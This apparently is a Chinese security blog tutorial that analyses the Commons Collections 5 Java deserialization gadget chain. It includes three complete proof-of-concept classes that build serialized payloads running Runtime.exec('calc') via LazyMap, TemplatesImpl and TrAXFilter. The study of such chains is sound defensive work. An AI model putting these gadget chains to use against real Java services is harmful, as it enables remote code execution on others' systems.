0x01 前言

CC5跟CC1很相似,都是通过触发LazyMap的get方法来触发链式调用,与CC1通过动态代理和AnnotationInvocationHandler作为入口不同,CC5用到了TiedMapEntry类和BadAttributeValueExpException作为入口。
由于入口点的改变,利用条件不同:jdk无限制,commons-collections 3.2.1及之前,commons-collections4.0,其中4.0 利用链中LazyMap的decorate方法需要改为lazyMap方法。

  1. <dependency>
  2. <groupId>org.apache.commons</groupId>
  3. <artifactId>commons-collections4</artifactId>
  4. <version>4.0</version>
  5. </dependency>
  6. <!-- <dependency>-->
  7. <!-- <groupId>commons-collections</groupId>-->
  8. <!-- <artifactId>commons-collections</artifactId>-->
  9. <!-- <version>3.2.1</version>-->
  10. <!-- </dependency>-->

0x02 相关知识

TiedMapEntry

其构造方法如图,传入一个Map对象和一个key
image.png
需要注意的是该类的toString方法,在getValue方法中调用了map的get方法,从而触发装饰器回调transform
image.png
image.png

BadAttributeValueExpException

在该类的readObject中,存在valObj.toString方法,如果我们的valObj为TiedMapEntry对象,则可以触发其toString方法进而触发LazyMap#get方法。
image.png

0x03 利用链分析

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import javax.management.BadAttributeValueExpException;
  8. import java.io.FileInputStream;
  9. import java.io.FileOutputStream;
  10. import java.io.ObjectInputStream;
  11. import java.io.ObjectOutputStream;
  12. import java.lang.reflect.Field;
  13. import java.util.HashMap;
  14. public class cc5 {
  15. public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  16. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
  17. new ConstantTransformer(Runtime.class),
  18. new InvokerTransformer("getMethod", new Class[] {
  19. String.class, Class[].class }, new Object[] {
  20. "getRuntime", new Class[0] }),
  21. new InvokerTransformer("invoke", new Class[] {
  22. Object.class, Object[].class }, new Object[] {
  23. null, new Object[0] }),
  24. new InvokerTransformer("exec",
  25. new Class[] { String.class }, new Object[]{"calc"})});
  26. HashMap innermap = new HashMap();
  27. LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
  28. TiedMapEntry tiedmap = new TiedMapEntry(map,123);
  29. BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
  30. Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  31. val.setAccessible(true);
  32. val.set(bad,tiedmap);
  33. try{
  34. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
  35. outputStream.writeObject(bad);
  36. outputStream.close();
  37. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
  38. inputStream.readObject();
  39. }catch(Exception e){
  40. e.printStackTrace();
  41. }
  42. }
  43. }

首先看第一部分,将ChainedTransformer方法作为LazyMap的装饰器,这一部分与CC1完全一致。

  1. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[] {
  4. String.class, Class[].class }, new Object[] {
  5. "getRuntime", new Class[0] }),
  6. new InvokerTransformer("invoke", new Class[] {
  7. Object.class, Object[].class }, new Object[] {
  8. null, new Object[0] }),
  9. new InvokerTransformer("exec",
  10. new Class[] { String.class }, new Object[]{"calc"})});
  11. HashMap innermap = new HashMap();
  12. LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

第二部分就是一句话,将LazyMap用TiedMapEntry进行封装,传入的key值一定是LazyMap里不存在的,因为LazyMap只有get不到key才会触发transform回调。

  1. TiedMapEntry tiedmap = new TiedMapEntry(map,123);

最后一部分则是创建一个BadAttributeValueExpException对象,并通过反射更改它的val字段为tiedmap对象。这里有一个问题,为什么要通过反射去更改它的val字段而不是直接在创建该类的时候将tiedmap作为参数传入呢?

  1. BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
  2. Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  3. val.setAccessible(true);
  4. val.set(bad,tiedmap);

我们看BadAttributeValueExpException的构造函数,如果我们直接将tiedmap当做参数传入,它会在创建的时候直接触发调用链,而且这之后的val属性不再是TiedMapEntry对象而是ProcessImpl了,该类继承Process类,而Process类并未实现Serializable接口,无法被序列化,虽然这里即使能序列化也没有什么用。
image.png
利用链:

  1. ObjectInputStream.readObject()
  2. BadAttributeValueExpException.readObject()
  3. TiedMapEntry.toString()
  4. LazyMap.get()
  5. ChainedTransformer.transform()
  6. ConstantTransformer.transform()
  7. InvokerTransformer.transform()
  8. Method.invoke()
  9. Class.getMethod()
  10. InvokerTransformer.transform()
  11. Method.invoke()
  12. Runtime.getRuntime()
  13. InvokerTransformer.transform()
  14. Method.invoke()
  15. Runtime.exec()

0x04 利用链调试

BadAttributeValueExpException#readObject,这里有个问题,为什么代码会进入这个else if?因为System.getSecurityManager方法返回为null。这里是获取Java安全管理器,一般来说Java程序启动时并不会自动启动安全管理器,默认关闭。可以在启动命令中添加-Djava.security.manager参数启用安全管理器,也可以实例化一个java.lang.SecurityManager或继承它的子类的对象,然后通过System.setSecurityManager()来设置并启动一个安全管理器。
image.png
TiedMapEntry#toString
image.png
TiedMapEntry#getValue
image.png
LazyMap#get
image.png
ChainedTransformer#transform
image.png
image.png

0x05 总结

CC5发现了一个新的入口点BadAttributeValueExpException,其与TiedMapEntry和LazyMap结合触发链式调用。因此CC5前部分也可以进行一些更改,可以使用TemplatesImpl类作为sink,使用invokerTransformer或者TrAXFilter-InstantiateTransformer作为中继。invokerTransformer尝试后发现并不行,invokerTransformer触发transform时需要传入参数,而CC5是LazyMap#get触发。真试了试,发现确实可以,只需要做一点点改变。
使用TrAXFilter-InstantiateTransformer的POC如下:

  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  2. import javassist.CannotCompileException;
  3. import javassist.ClassPool;
  4. import javassist.CtClass;
  5. import javassist.NotFoundException;
  6. import org.apache.commons.collections.Transformer;
  7. import org.apache.commons.collections.functors.ChainedTransformer;
  8. import org.apache.commons.collections.functors.ConstantTransformer;
  9. import org.apache.commons.collections.functors.InstantiateTransformer;
  10. import org.apache.commons.collections.functors.InvokerTransformer;
  11. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  12. import org.apache.commons.collections.map.LazyMap;
  13. import javax.management.BadAttributeValueExpException;
  14. import javax.xml.transform.Templates;
  15. import java.io.*;
  16. import java.lang.reflect.Field;
  17. import java.lang.reflect.InvocationTargetException;
  18. import java.util.HashMap;
  19. public class cc5 {
  20. public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, NoSuchMethodException, InvocationTargetException, InstantiationException {
  21. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  22. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  23. ClassPool classPool= ClassPool.getDefault();
  24. classPool.appendClassPath(AbstractTranslet);
  25. CtClass payload=classPool.makeClass("CommonsCollections5");
  26. payload.setSuperclass(classPool.get(AbstractTranslet));
  27. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
  28. byte[] bytes=payload.toBytecode();
  29. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
  30. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
  31. field.setAccessible(true);
  32. field.set(templatesImpl,new byte[][]{bytes});
  33. Field field1=templatesImpl.getClass().getDeclaredField("_name");
  34. field1.setAccessible(true);
  35. field1.set(templatesImpl,"test");
  36. Transformer[] transformers=new Transformer[]{
  37. new ConstantTransformer(TrAXFilter.class),
  38. new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
  39. };
  40. ChainedTransformer chain=new ChainedTransformer(transformers);
  41. HashMap innermap = new HashMap();
  42. LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
  43. TiedMapEntry tiedmap = new TiedMapEntry(map,123);
  44. BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
  45. Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  46. val.setAccessible(true);
  47. val.set(bad,tiedmap);
  48. try{
  49. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
  50. outputStream.writeObject(bad);
  51. outputStream.close();
  52. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
  53. inputStream.readObject();
  54. }catch(Exception e){
  55. e.printStackTrace();
  56. }
  57. }
  58. }

使用invokerTransformer的需要注意的是图中语句,将templatesImpl对象作为key传入,在LazyMap#get方法会将TemplatesImpl类型的key作为InvokerTransformer的参数传入,也就能调用TemplatesImpl#newTransformer方法,触发利用链。
image.png
image.png

  1. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  2. import javassist.CannotCompileException;
  3. import javassist.ClassPool;
  4. import javassist.CtClass;
  5. import javassist.NotFoundException;
  6. import org.apache.commons.collections.Transformer;
  7. import org.apache.commons.collections.functors.ChainedTransformer;
  8. import org.apache.commons.collections.functors.ConstantTransformer;
  9. import org.apache.commons.collections.functors.InstantiateTransformer;
  10. import org.apache.commons.collections.functors.InvokerTransformer;
  11. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  12. import org.apache.commons.collections.map.LazyMap;
  13. import javax.management.BadAttributeValueExpException;
  14. import javax.xml.transform.Templates;
  15. import java.io.*;
  16. import java.lang.reflect.Field;
  17. import java.lang.reflect.InvocationTargetException;
  18. import java.util.HashMap;
  19. public class cc5 {
  20. public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException, IOException, NoSuchMethodException, InvocationTargetException, InstantiationException {
  21. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  22. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  23. ClassPool classPool= ClassPool.getDefault();
  24. classPool.appendClassPath(AbstractTranslet);
  25. CtClass payload=classPool.makeClass("CommonsCollections5");
  26. payload.setSuperclass(classPool.get(AbstractTranslet));
  27. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
  28. byte[] bytes=payload.toBytecode();
  29. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
  30. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
  31. field.setAccessible(true);
  32. field.set(templatesImpl,new byte[][]{bytes});
  33. Field field1=templatesImpl.getClass().getDeclaredField("_name");
  34. field1.setAccessible(true);
  35. field1.set(templatesImpl,"test");
  36. InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
  37. HashMap innermap = new HashMap();
  38. LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
  39. TiedMapEntry tiedmap = new TiedMapEntry(map,templatesImpl);
  40. BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
  41. Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  42. val.setAccessible(true);
  43. val.set(bad,tiedmap);
  44. try{
  45. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
  46. outputStream.writeObject(bad);
  47. outputStream.close();
  48. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
  49. inputStream.readObject();
  50. }catch(Exception e){
  51. e.printStackTrace();
  52. }
  53. }
  54. }

最后再做一个小总结,目前来看,CC1,CC3的入口类都是AnnotationInvocationHandler,因此受到jdk的限制,都需要在jdk8u71之前,对Commons Collections版本是3.2.2之前和4.0。CC2、CC4使用的入口类都是PriorityQueue,而该类4.0版本才存在,所以CC2、CC4对jdk版本没有要求,但对CC版本有要求,只能为4.0。CC5则用了一个新的入口类,BadAttributeValueExpException对jdk无要求,而Commons Collections版本是3.2.2之前和4.0。